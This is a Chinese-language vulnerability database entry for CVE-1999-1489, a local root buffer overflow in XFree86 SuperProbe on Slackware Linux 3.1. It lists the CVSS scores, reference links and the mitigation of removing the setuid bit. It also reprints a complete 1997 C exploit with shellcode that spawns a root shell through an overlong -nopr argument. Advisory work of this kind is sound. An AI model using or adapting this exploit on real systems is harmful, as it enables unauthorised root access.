CVE-1999-1489
CVSS7.2
发布时间 :1997-03-04 00:00:00
修订时间 :2008-09-05 16:19:38
NMCOES    

[原文]Buffer overflow in TestChip function in XFree86 SuperProbe in Slackware Linux 3.1 allows local users to gain root privileges via a long -nopr argument.


[CNNVD]superprobe缓冲区溢出漏洞(CNNVD-199703-007)

        Slackware Linux 3.1版本的XFree86 SuperProbe的TestChip函数存在缓冲区溢出漏洞。本地用户可以通过超长的-nopr参数获取根权限。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1489
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-1489
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199703-007
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/364
(VENDOR_ADVISORY)  BID  364
http://www.securityfocus.com/archive/1/6384
(VENDOR_ADVISORY)  BUGTRAQ  19970304 Linux SuperProbe exploit

- 漏洞信息

superprobe缓冲区溢出漏洞
高危 缓冲区溢出
1997-03-04 00:00:00 2005-10-20 00:00:00
本地  
        Slackware Linux 3.1版本的XFree86 SuperProbe的TestChip函数存在缓冲区溢出漏洞。本地用户可以通过超长的-nopr参数获取根权限。

- 公告与补丁

        Remove the setuid bit from the superprobe binary.

- 漏洞信息 (19283)

Slackware Linux 3.1 Buffer Overflow Vulnerability (EDBID:19283)
linux local
1997-03-04 Verified
0 Solar
N/A [点击下载]
source: http://www.securityfocus.com/bid/364/info


superprobe is an program supplied with XFree86 that helps determine video hardware. It is shipped with Slackware Linux 3.1 and is installed setuid root. There is an exploitable strcpy buffer overflow in the TestChip() function which allows for a trivial local root compromise.


 /*

 * SuperProbe buffer overflow exploit for Linux, tested on Slackware 3.1

 * Copyright (c) 1997 by Solar Designer

 */

 #include <stdio.h>

 #include <stdlib.h>

 #include <unistd.h>

 char *shellcode =

 "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1"

 "\xff\xd4\x31\xc0\x8d\x51\x04\x89\xcf\x89\x02\xb0\x2e\x40\xfc\xae\x75\xfd"

 "\x89\x39\x89\xfb\x40\xae\x75\xfd\x88\x67\xff\xb0\x0b\xcd\x80\x31\xc0\x40"

 "\x31\xdb\xcd\x80/"

 "/bin/sh"

 "0";

 char *get_sp() {

 asm("movl %esp,%eax");

 }

 #define bufsize 8192

 #define alignment 0

 char buffer[bufsize];

 main() {

 int i;

 for (i = 0; i < bufsize / 2; i += 4)

 *(char **)&buffer[i] = get_sp() - 2048;

 memset(&buffer[bufsize / 2], 0x90, bufsize / 2);

 strcpy(&buffer[bufsize - 256], shellcode);

 setenv("SHELLCODE", buffer, 1);

 memset(buffer, 'x', 72);

 *(char **)&buffer[72] = get_sp() - 6144 - alignment;

 buffer[76] = 0;

 execl("/usr/X11/bin/SuperProbe", "SuperProbe", "-nopr", buffer, NULL);

 }
		

- 漏洞信息

13538
XFree86 SuperProbe TestChip Function Local Overflow
Local Access Required Input Manipulation
Loss of Integrity Workaround
Exploit Public Uncoordinated Disclosure

- 漏洞描述

- 时间线

1997-03-04 Unknow
1997-03-04 Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

superprobe Buffer Overflow Vulnerability
Boundary Condition Error 364
No Yes
1997-03-04 12:00:00 2009-07-11 12:16:00
First posted to BugTraq by Solar <solar@IDEAL.RU> on March 4, 1997.

- 受影响的程序版本

Slackware Linux 3.1

- 漏洞讨论

superprobe is an program supplied with XFree86 that helps determine video hardware. It is shipped with Slackware Linux 3.1 and is installed setuid root. There is an exploitable strcpy buffer overflow in the TestChip() function which allows for a trivial local root compromise.

- 漏洞利用

x

- 解决方案

Remove the setuid bit from the superprobe binary.

- 相关参考

     

     

    关于SCAP中文社区

    SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

    版权声明

    CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站